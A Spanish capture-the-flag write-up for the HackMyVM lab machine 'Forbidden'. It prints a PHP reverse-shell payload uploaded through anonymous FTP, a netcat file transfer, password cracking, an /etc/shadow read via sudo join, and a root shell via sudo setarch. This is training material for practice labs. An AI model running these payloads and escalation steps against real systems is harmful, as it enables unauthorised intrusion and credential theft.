cd ~/blog

~/writeups/hmv/008-forbidden.md

008 - Forbidden

medium Linux hmv 14-08-2024
FTP write + PHP extension bypass (.php5)SUID binary (user pivot)sudo join (/etc/shadow read)sudo setarch Privesc
hackmyvm.eu/machines/machine.php?vm=Forbidden

~2 min de lectura


Enumeración

Comenzamos con un escaneo general y específico de puertos con nmap:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.33
 nmap -sCV -p 21,80 -oN 02-targeted.txt 192.168.1.33
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-14 22:11 -04
Nmap scan report for 192.168.1.33
Host is up (0.00031s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.1.5
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    2 0        0            4096 Oct 09  2020 www [NSE: writeable]
80/tcp open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.82 seconds

El FTP permite acceso anónimo y, según el script ftp-anon, el directorio www tiene permisos de escritura (drwxrwxrwx).

Bypass de PHP deshabilitado (.php5)

En el sitio web nos recibe un mensaje del administrador, que presume de tener PHP deshabilitado:

SECURE WEB/FTP
Hi, Im the best admin of the world. You cannot execute .php code on this server so you cannot obtain a reverse shell. Not sure if its misconfigured another things... but the importart is that php is disabled. -marta

En el FTP además encontramos una nota:

❯ cat note.txt
The extra-secured .jpg file contains my password but nobody can obtain it.

Aprovechando los permisos de escritura del FTP, probamos con extensiones alternativas de PHP. La extensión .php5 sí se ejecuta, evadiendo la restricción:

 cat pwned.php5
<?php
    shell_exec("bash -c 'bash -i >& /dev/tcp/192.168.1.5/1234 0>&1'");
?>

Subimos el archivo por FTP:

ftp> put pwned.php5
local: pwned.php5 remote: pwned.php5
229 Entering Extended Passive Mode (|||31592|)
150 Ok to send data.
100% |*******************************************************************|    80      723.37 KiB/s    00:00 ETA
226 Transfer complete.
80 bytes sent in 00:00 (49.95 KiB/s)
ftp>

Accedemos a http://192.168.1.33/pwned.php5 y recibimos la shell como www-data:

 ncat -nlvp 1234
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.33:57280.
bash: cannot set terminal process group (376): Inappropriate ioctl for device
bash: no job control in this shell
www-data@forbidden:/srv/ftp/www$

Pivote a markos (binario SUID)

En el home de marta encontramos un binario SUID sospechoso, junto con su código fuente:

www-data@forbidden:/home/marta$ ls -la
...
-rwsr-sr-x 1 root  marta 16712 Oct  9  2020 .forbidden
-rw-r--r-- 1 root  root    130 Oct  9  2020 hidden.c
...

www-data@forbidden:/home/marta$ cat hidden.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
  setuid(1001); setgid(1001); system("/bin/bash");
}

El binario fija el UID/GID 1001 y lanza una bash, es decir, nos convierte en el usuario markos. Lo ejecutamos:

www-data@forbidden:/home/marta$ ./.forbidden
markos@forbidden:/home/marta$ whoami
markos

Obtenemos shell como markos y la primera flag.

El rabbit hole de la imagen

La nota del FTP hacía referencia a una imagen "extra-segura". La buscamos:

www-data@forbidden:/srv/ftp$ find / -name "*.jpg" 2>/dev/null
/var/www/html/TOPSECRETIMAGE.jpg

La transferimos a nuestra máquina con netcat:

 nc -lvp 4444 > TOPSECRETIMAGE.jpg

www-data@forbidden:~/html$ nc 192.168.1.5 4444 < TOPSECRETIMAGE.jpg

Buscamos información oculta con stegseek:

 stegseek -wl ~/Documents/wordlists/rockyou.txt TOPSECRETIMAGE.jpg
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Found passphrase: "portugal"
[i] Original filename: "pass.zip".
[i] Extracting to "TOPSECRETIMAGE.jpg.out".

 file TOPSECRETIMAGE.jpg.out
TOPSECRETIMAGE.jpg.out: Zip archive data, at least v2.0 to extract, compression method=deflate

La imagen contiene un ZIP cifrado (pass.zip), que crackeamos con john:

 zip2john pass.zip > hash
 john -w=/home/wh01s17/Documents/wordlists/rockyou.txt hash
...
secret           (TOPSECRETIMAGE.jpg.out/pass.txt)
...

Al extraerlo aparece un mensaje en morse y una contraseña:

- .... .
.--. .- ... ... .-- --- .-. -..
.. ... ---...

vGffXfDreF453!

Que traducido del morse es:

THEPASSWORDIS:
vGffXfDreF453!

Todo esto resultó ser un rabbit hole: la contraseña real de marta no es la del morse, sino simplemente el nombre del archivo, TOPSECRETIMAGE.

markos@forbidden:~/html$ su marta
Password: TOPSECRETIMAGE
marta@forbidden:/var/www/html$

Escalada a peter (sudo join)

Revisamos sudo -l como marta:

marta@forbidden:~$ sudo -l
Matching Defaults entries for marta on forbidden:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User marta may run the following commands on forbidden:
    (ALL : ALL) NOPASSWD: /usr/bin/join

Podemos ejecutar join como cualquier usuario. Como join lee el contenido de los archivos que le pasamos, lo usamos para leer /etc/shadow y obtener el hash de peter, que crackeamos con john:

 john -w=/home/wh01s17/Documents/wordlists/rockyou.txt hash_peter
...
boomer           (?)
...

marta@forbidden:~$ su peter
Password: boomer
peter@forbidden:/home/marta$

Escalada a root (sudo setarch)

Revisamos sudo -l como peter:

peter@forbidden:~$ sudo -l
Matching Defaults entries for peter on forbidden:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User peter may run the following commands on forbidden:
    (ALL : ALL) NOPASSWD: /usr/bin/setarch

setarch permite ejecutar un programa cambiando la arquitectura reportada; como acepta un comando arbitrario, lo usamos para lanzar una bash de root:

peter@forbidden:~$ sudo setarch $(uname -m) /bin/bash
root@forbidden:/home/peter#

Obtenemos la segunda flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados